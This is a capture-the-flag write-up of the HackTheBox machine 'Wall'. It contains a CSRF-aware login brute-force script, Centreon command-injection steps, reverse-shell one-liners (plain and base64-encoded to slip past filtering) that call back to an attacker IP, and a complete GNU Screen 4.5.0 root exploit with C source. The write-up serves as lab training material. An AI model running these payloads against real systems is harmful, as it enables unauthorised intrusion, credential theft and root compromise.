HTB: Wall Writeup

Wall - HackTheBox Writeup

Machine Information

AttributeDetails
NameWall
OSLinux
DifficultyMedium
Points30
Release DateSeptember 2019
IP Address10.129.2.9
Authoraskar

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐☆☆☆

Summary

Wall is a medium-difficulty Linux machine that demonstrates real-world vulnerabilities in enterprise monitoring software. The attack path begins with an HTTP verb tampering vulnerability to bypass basic authentication, followed by credential brute-forcing against a CSRF-protected login form. Initial foothold is gained through exploiting Centreon 19.04 monitoring software using CVE-2019-16405, which allows command injection via a misconfigured WAF that only inspects POST request bodies. Lateral movement to the user shelby is achieved by extracting credentials from a compiled Python bytecode file. Root access is obtained through exploiting CVE-2017-5618, a privilege escalation vulnerability in GNU Screen 4.5.0.

TL;DR: HTTP verb tampering → Centreon 19.04 login brute-force → CVE-2019-16405 RCE via WAF bypass (GET-based command test) → Python bytecode credential extraction → CVE-2017-5618 Screen SUID exploit → root


Reconnaissance

Port Scanning

Terminal window
# Quick SYN scan to identify open ports
nmap -sC -sV -T4 -p- 10.129.2.9

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

Two services are exposed: SSH on port 22 and Apache web server on port 80.

Web Enumeration

Browsing to http://10.129.2.9 displays the default Apache2 Ubuntu landing page, suggesting the web root hasn’t been customized or the actual application resides in a subdirectory.

Terminal window
# Directory enumeration to discover hidden paths
gobuster dir -u http://10.129.2.9 -w /usr/share/wordlists/dirb/common.txt -x php

Key Findings:

  • /monitoring - Returns HTTP 401 Unauthorized (requires basic authentication)
  • /centreon - Centreon network monitoring application login page

Attempting to access /monitoring triggers a Basic Authentication prompt with no obvious default credentials.

HTTP Verb Tampering Discovery

When intercepting the request to /monitoring with Burp Suite, changing the HTTP method from GET to POST bypasses the authentication requirement:

POST /monitoring HTTP/1.1
Host: 10.129.2.9

Response:

HTTP/1.1 200 OK
Location: /centreon

This indicates a misconfiguration where Apache’s authentication directive only applies to GET requests, not POST. This is a classic HTTP verb tampering vulnerability - the authentication check is method-specific rather than universal.

The successful bypass redirects to /centreon, revealing Centreon 19.04, a network monitoring platform.

Vulnerability Assessment

  1. HTTP Verb Tampering - Basic authentication bypass via POST method
  2. Centreon 19.04 - Multiple known CVEs including:
    • CVE-2019-13024 (Command injection via nagios_bin parameter)
    • CVE-2019-16405 (Command injection via plugin test with WAF bypass)
  3. CSRF Token Implementation - Login form uses CSRF tokens, preventing simple brute-force

Initial Foothold

Centreon Login Brute-Force

The Centreon login page at /centreon uses CSRF tokens to protect against automated attacks. Each login attempt requires fetching a fresh token from the page source.

CSRF Token Analysis:

<input type="hidden" name="centreon_token" value="[random-token]" />

A custom Python script is required to:

  1. Fetch the login page
  2. Extract the centreon_token from HTML
  3. Submit credentials with the token
  4. Check response for authentication failure
#!/usr/bin/env python3
import requests
from bs4 import BeautifulSoup
# Target URL
url = 'http://10.129.2.9/centreon/index.php'
session = requests.Session()
def attempt_login(username, password):
# Fetch login page to get CSRF token
page = session.get(url)
soup = BeautifulSoup(page.content, 'html.parser')
# Extract centreon_token from hidden input field
token = soup.find('input', attrs={'name': 'centreon_token'})['value']
# Prepare login POST data
data = {
'useralias': username,
'password': password,
'submitLogin': 'Connect',
'centreon_token': token
}
# Submit login request
response = session.post(url, data=data)
# Check if login was successful (no "incorrect" message)
if 'incorrect' not in response.text:
print(f"[+] Valid credentials found: {username}:{password}")
return True
return False
# Load password wordlist
with open('passwords.txt', 'r') as wordlist:
for line in wordlist:
password = line.strip()
print(f"[*] Trying: admin:{password}")
if attempt_login('admin', password):
break

Result:

[*] Trying: admin:password1
[+] Valid credentials found: admin:password1

The default admin account uses the weak password password1. After authentication, navigating to the “About” section confirms the version: Centreon 19.04.0.

Remote Code Execution via CVE-2019-16405

Centreon 19.04 contains multiple command injection vulnerabilities. The primary path (CVE-2019-13024) involves injecting commands into the nagios_bin parameter in the Poller configuration. However, this path failed during exploitation due to an internal PHP error in restartPollers.php.

Alternative Exploitation: Plugin Test Command Injection

Centreon allows administrators to test custom monitoring commands. The vulnerability exists because:

  1. Commands are sent via GET request parameters
  2. The Web Application Firewall (WAF) only inspects POST request bodies
  3. User input in command parameters isn’t properly sanitized

Exploitation Steps:

  1. Navigate to Configuration → Commands → Checks (or Miscellaneous)
  2. Create a new command or use the test interface at main.get.php?p=60801
  3. Set $USER1$ resource macro path to / (Configuration → Pollers → Resources)
  4. Use the Plugin Test feature to execute arbitrary commands

Why GET requests bypass the WAF:

The WAF configuration only inspects POST request bodies for malicious patterns. By embedding the command in GET parameters (specifically through the plugin test interface which uses main.get.php?p=60801&o=p with command parameters in the query string), we bypass this protection entirely.

Command Execution via Plugin Test:

The test interface accepts commands and displays their output inline. Since pipes and redirects are escaped when saved via POST, but the GET-based test interface processes them directly, we can achieve RCE.

Terminal window
# Test basic command execution
# In the plugin test interface: ps aux
# This confirms command execution works

Establishing Reverse Shell:

Direct bash reverse shells fail due to character escaping. The workaround:

Terminal window
# 1. Create reverse shell payload
echo 'bash -i >& /dev/tcp/10.10.14.3/4444 0>&1' > shell.sh
# 2. Host the file via HTTP
python3 -m http.server 80
# 3. In Centreon Plugin Test, use wget to download
# Command: wget 10.10.14.3/shell.sh -O /tmp/pwn
# 4. Make executable and run via another test
# Command: bash /tmp/pwn

Alternatively, using base64 encoding with ${IFS} to avoid space filtering:

Terminal window
# Encode payload
echo 'bash -i >& /dev/tcp/[ATTACKER_IP]/4444 0>&1' | base64
# Result: YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zLzQ0NDQgMD4mMQo=
# In Plugin Test, inject command via GET parameter:
echo${IFS}YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zLzQ0NDQgMD4mMQo=|base64${IFS}-d|bash

The agent used the CVE-2019-16405 method (Plugin Test with GET parameters) to achieve RCE, as the primary CVE-2019-13024 path failed with PHP errors.

Reverse Shell Obtained:

Terminal window
# Listener
nc -lvnp 4444
# Connection received
www-data@Wall:/usr/local/centreon/www$

Initial foothold achieved as www-data.


Lateral Movement to shelby

File System Enumeration

Terminal window
# Check home directories
ls -la /home
# Shows user: shelby
# Search for interesting files
find /opt -type f 2>/dev/null

Discovery:

Terminal window
/opt/.shelby/backup

This file has world-readable permissions:

Terminal window
www-data@Wall:/opt/.shelby$ ls -la
total 12
drwxr-xr-x 2 shelby shelby 4096 Jul 7 2019 .
drwxr-xr-x 3 root root 4096 Jul 4 2019 ..
-rw-r--r-- 1 shelby shelby 1472 Jul 30 2019 backup

Python Bytecode Analysis

Terminal window
# Check file type
file /opt/.shelby/backup
# /opt/.shelby/backup: python 2.7 byte-compiled
# Running it produces no useful output
python /opt/.shelby/backup
# Done

The file is a compiled Python 2.7 .pyc file. Without a decompiler on the target system, we need to extract and analyze it locally.

Exfiltration via base64:

Terminal window
# Encode the file for transfer
base64 /opt/.shelby/backup

Output:

AwPtDQoAAAAAc3cAAABzKwAAAGQAZAFkAmpBZABkAmQDagJkAGQEZAVqA2QAZAZk
B2oEZAhlAGQJUykKTmMCAAAAQXMHAAAAcGFyYW1pa29zBwAAAHNoZWxieXMIAAAA
[... truncated for brevity ...]

Local Decoding:

Terminal window
# Save base64 output to file
cat > backup.b64 << 'EOF'
[paste base64 content]
EOF
# Decode
base64 -d backup.b64 > backup.pyc

Extracting Credentials from Bytecode

While tools like uncompyle6 can decompile .pyc files, the agent manually parsed the Python marshal bytecode format to extract string constants. Python 2.7 bytecode uses LOAD_CONST opcodes to load string literals.

Manual Bytecode Analysis:

Terminal window
# View raw bytecode strings
strings backup.pyc | grep -A 30 "paramiko"

Key Extracted Strings:

paramiko
shelby
wall.htb
S
h
e
l
b
y
P
a
s
s
w
@
r
d
I
s
S
t
r
o
n
g
!

The password is constructed character by character using chr(ord()) calls, which is visible in the bytecode’s LOAD_CONST sequence. Concatenating these characters yields:

Extracted Password: ShelbyPassw@rdIsStrong!

Why this works:

The backup script was designed to securely transfer files via SFTP using the paramiko library. The developer attempted to obfuscate the hardcoded password by building it character-by-character rather than storing it as a plain string. However, compiled Python bytecode still contains all string constants in the co_consts tuple, making this “obfuscation” trivial to reverse.

SSH Access

Terminal window
# Login as shelby
ssh shelby@10.129.2.9
# Password: ShelbyPassw@rdIsStrong!

User Flag:

Terminal window
shelby@Wall:~$ cat user.txt
<redacted>

Privilege Escalation

SUID Binary Enumeration

Terminal window
# Search for SUID binaries
find / -perm -4000 -type f 2>/dev/null

Key Finding:

/bin/screen-4.5.0

A non-standard SUID binary: screen-4.5.0. This specific version is vulnerable to CVE-2017-5618.

CVE-2017-5618: GNU Screen 4.5.0 Privilege Escalation

Vulnerability Description:

GNU Screen 4.5.0 contains a privilege escalation vulnerability in its session handling. When Screen is SUID root, it creates a logfile with elevated privileges. An attacker can abuse the ld.so.preload mechanism to inject a shared library that executes arbitrary code as root.

Technical Details:

  1. Screen creates a logfile in a predictable location
  2. We can create a symbolic link from that location to /etc/ld.so.preload
  3. When Screen writes to the “logfile,” it actually writes to ld.so.preload
  4. We control the content written (our malicious library path)
  5. Any SUID binary that loads will preload our library as root
  6. Our library calls setuid(0) and spawns a root shell

Exploitation:

Terminal window
# Create working directory
cd /tmp
mkdir privesc
cd privesc
# Create the malicious library source
cat > libhax.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
EOF
# Compile the malicious library
gcc -fPIC -shared -ldl -o /tmp/libhax.so libhax.c
# Create the rootshell binary
cat > rootshell.c << 'EOF'
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
EOF
# Compile rootshell
gcc -o /tmp/rootshell rootshell.c
# Set up the exploit
cd /etc
umask 000
# Run screen with logging to trigger the exploit
/bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
# Execute screen again to trigger library loading
/bin/screen-4.5.0 -ls

Exploit Execution:

Terminal window
shelby@Wall:/tmp$ cd /etc
shelby@Wall:/etc$ umask 000
shelby@Wall:/etc$ /bin/screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
shelby@Wall:/etc$ /bin/screen-4.5.0 -ls
[+] done!

The exploit writes the path /tmp/libhax.so to /etc/ld.so.preload via Screen’s logging feature. When any SUID binary (including Screen itself) subsequently runs, the dynamic linker preloads our malicious library, which changes ownership of /tmp/rootshell to root and sets the SUID bit.

Root Shell:

Terminal window
shelby@Wall:/tmp$ /tmp/rootshell
# id
uid=0(root) gid=0(root) groups=0(root),1000(shelby)
# cat /root/root.txt
<redacted>

Attack Chain Summary

Port Scan (22/SSH, 80/Apache)
→ HTTP Verb Tampering (POST /monitoring bypass)
→ Centreon 19.04 Discovery
→ CSRF-aware Brute-force (admin:password1)
→ CVE-2019-16405 RCE (Plugin Test GET-based WAF bypass)
→ Shell as www-data
→ Python Bytecode Analysis (/opt/.shelby/backup)
→ Credential Extraction (ShelbyPassw@rdIsStrong!)
→ SSH as shelby (user.txt)
→ SUID Enumeration (/bin/screen-4.5.0)
→ CVE-2017-5618 Exploitation (ld.so.preload injection)
→ Root Shell (root.txt)

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
gobusterWeb directory discovery
Burp SuiteHTTP verb tampering and request interception
Python 3Custom CSRF-aware brute-force script
BeautifulSoupHTML parsing for CSRF token extraction
ncReverse shell listener
base64File exfiltration encoding
stringsBytecode string extraction
gccCompiling privilege escalation exploit
sshRemote access as shelby

Key Learnings

Techniques Practiced

  • HTTP verb tampering to bypass authentication controls
  • Automating CSRF token extraction for credential brute-forcing
  • WAF bypass via HTTP method switching (POST inspection only)
  • Command injection in monitoring software with character encoding
  • Python bytecode analysis without decompilers
  • Exploiting SUID binaries with CVE-based exploits
  • ld.so.preload privilege escalation technique

Lessons Learned

  1. Defense in depth matters: Authentication should be method-agnostic. The /monitoring endpoint’s vulnerability shows why security controls must apply uniformly across all HTTP methods, not just GET or POST.

  2. WAF configuration is critical: A WAF that only inspects POST bodies while allowing GET requests with the same parameters is effectively useless. Modern WAFs should inspect all input vectors regardless of HTTP method.

  3. Token-based protections aren’t foolproof: CSRF tokens protect against cross-site attacks but don’t prevent scripted brute-force attacks when the token generation is predictable and accessible.

  4. Code obfuscation != security: Building strings character-by-character in compiled Python provides zero security benefit. The bytecode still contains all string constants. Sensitive credentials should never be hardcoded, regardless of obfuscation attempts.

  5. SUID audit importance: The presence of a versioned, non-standard SUID binary (screen-4.5.0) is a red flag. Regular auditing of SUID binaries and removing unnecessary SUID bits is crucial for security.

  6. CVE awareness for sysadmins: Both Centreon 19.04 and Screen 4.5.0 had publicly disclosed vulnerabilities. Keeping software updated and subscribing to security bulletins prevents exploitation of known CVEs.

  7. Least privilege principle: The www-data user had read access to /opt/.shelby/backup, which contained credentials. Proper file permissions (restricting to owner-only) would have prevented lateral movement.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • Official HackTheBox writeup for Wall (Document No D19.100.56) by MinatoTW
  • CVE-2019-16405 / CVE-2019-17501: Centreon Command Injection
  • CVE-2019-13024: Centreon nagios_bin Command Injection
  • CVE-2017-5618: GNU Screen 4.5.0 Privilege Escalation